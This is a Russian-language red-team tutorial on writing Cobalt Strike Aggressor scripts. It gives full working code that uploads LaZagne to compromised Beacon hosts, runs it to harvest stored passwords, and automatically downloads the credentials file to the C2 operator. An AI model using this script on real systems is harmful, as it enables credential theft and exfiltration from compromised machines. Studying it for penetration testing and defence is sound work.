Как стать автором
Обновить

Написание скриптов для Cobalt Strike C2 (Aggressor Script)

Уровень сложностиСредний
Время на прочтение4 мин
Количество просмотров1.4K

Введение

Cobalt Strike — это профессиональный инструмент для проведения тестов на проникновение (penetration testing) и моделирования действий злоумышленников (adversary simulation).

Основной функцией Cobalt Strike является возможность создавать Beacon'ы - асинхронные пост-эксплуатационный агенты, которые могут осуществлять команды управления и контроля (C2), обеспечивая связь между атакующим и скомпрометированными системами.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Что такое Aggressor Script

Aggressor Script — это мощный инструмент, разработанный для расширения функциональности Cobalt Strike и автоматизации различных задач в процессе тестирования на проникновение. Он позволяет пользователям Cobalt Strike писать свои скрипты на языке Sleep, чтобы автоматизировать и настраивать поведение инструмента.

Основные элементы Aggressor Script

Events - позволяют настроить реакцию Beacon'ов на какие-либо события. Например, beacon_output срабатывает когда в консоль Beacon'а приходит какая-либо информация.

Functions - перечень функций, позволяющих взаимодействовать как с Beacon'ами, так и с C2 сервером или клиентом. Например, функция bupload позволяет загрузить локальный файл на атакуемую систему.

Popup Hooks - позволяет работать с GUI Cobalt Strike - добавлять пункты меню, а также получать информацию о том, где они были вызваны. Например, если добавить кнопку "Test" в Popup Hook targets, то она появится в разделе Targets Cobalt Strike:

Untitled

В целом, изучение этих разделов достаточно, чтобы писать полезные инструменты для автоматизации некоторых процессов. Более подробную информацию, как всегда, можно получить из официальной документации Cobalt Strike.

Написание простого скрипта

Таким образом, базовая схема скрипта выглядит так:

  1. Создаём какой-либо Event хэндлер

  2. Обрабатываем его через вызов функций из раздела Functions

Или так:

  1. Создаём Popup Hook на какой либо элемент интерфейса

  2. Обрабатываем его через вызов функций из раздела Functions

Либо, если вам удобнее, то можно создавать собственные команды для CLI Beacon'ов. Прочитать об этом можно здесь.

Автоматизация запуска LaZagne

LaZagne — open source инструмент, который помогает искать пароли на Windows, Linux или Mac системах.

Для начала необходимо создать скриптовый файл с расширением .cna и поместить в одну директорию с ним исполняемый файл LaZagne.

Функционал скрипта

Скрипт должен спрашивать у оператора путь, по которому необходимо загрузить исполняемый файл LaZagne, а также параметры для запуска утилиты. Вызываться скрипт будет через выбор необходимых Beacon'ов и вызов контекстного меню (при помощи Popup Hook beacon_bottom).

Загрузка утилиты и её запуск

Для начала необходимо создать кнопку в контекстном меню при выделении Beacon'ов:

popup beacon_bottom {
    item "Run LaZagne" {

    }
}

Теперь можно зайти в Cobalt Strike и загрузить скрипт через Script Manager:

Untitled

Видно, что появился новый элемент интерфейса:

Untitled

Пока он ничего не делает, а должен при нажатии выводить диалог для ввода абсолютного пути. Это можно осуществить используя функцию prompt_text. Она принимает следующие аргументы:

$1 - текст диалога
$2 - значение по-умолчанию в поле ввода
$3 - callback функция. Будет вызвана когда оператор подтвердит ввод, первым переданным callback функции аргументом будет текст из поля ввода

Попросим оператора ввести путь и загрузим туда LaZagne:

prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({
            $writable_path = $1;
            bcd(@beacons, $writable_path);
            bupload(@beacons, script_resource("LaZagne.exe"));
        }));

Перезагрузим скрипт и посмотрим что получилось:

  1. Скрипт просит оператора ввести абсолютный путь

Untitled
  1. После подтверждения загружает утилиту по этому пути

Untitled

Теперь попросим оператора ввести параметры и запустим утилиту:

prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({
            $writable_path = $1;
            prompt_text("Enter LaZagne params", "all", lambda({
                $params = $1;
                bcd(@beacons, $writable_path);
                bupload(@beacons, script_resource("LaZagne.exe"));
                bshell(@beacons, $writable_path . "\\" . "LaZagne.exe " . $params . " -oN");
            }));
        }));

Результат выполнения скрипта:

Untitled

Сбор результатов

Теперь, когда утилита завершила свою работу, она сообщила об этом в консоль Beacon'а. Можно создать Event хэндлер beacon_output, который отлавливает это событие и, если был найден текст [+] File written: .\credentials_*_*.txt, собрать файл с результатами.

Создание event-хэндлера:

on beacon_output {
    $beacon_id = $1;
    $message = $2;
}

Для поиска и извлечения названия файла с результатами можно использовать регулярные выражения:

if ($message hasmatch '\[\+\] File written: \.\\\(credentials_\d+_\d+\.txt)') {
        $filename = matched()[0];
}

Осталось скачать файл при помощи функции bdownload:

bdownload($beacon_id, $filename);
Untitled

Файл с результатами появился в разделе Downloads:

Untitled

Исходный код скрипта:

popup beacon_bottom {
    @beacons = $1;
    item "Run LaZagne" {
        prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({
            $writable_path = $1;
            prompt_text("Enter LaZagne params", "all", lambda({
                $params = $1;
                bcd(@beacons, $writable_path);
                bupload(@beacons, script_resource("LaZagne.exe"));
                bshell(@beacons, $writable_path . "\\" . "LaZagne.exe " . $params . " -oN");
            }));
        }));
    }
}

on beacon_output {
    $beacon_id = $1;
    $message = $2;
    if ($message hasmatch '\[\+\] File written: \.\\\(credentials_\d+_\d+\.txt)') {
        $filename = matched()[0];
        bdownload($beacon_id, $filename);
    }
}

Заключение

В данной статье рассмотрено простейшее использование агрессор-скриптов для Cobalt Strike. Надеемся, что материал станет источником вдохновения и поможет в создании собственных инструментов для кастомизации функционала данного C2 фреймворка.

Подписывайтесь на наш Telegram-канал

Теги:
Хабы:
Всего голосов 1: ↑1 и ↓0+3
Комментарии0

Публикации

Истории

Работа

Ближайшие события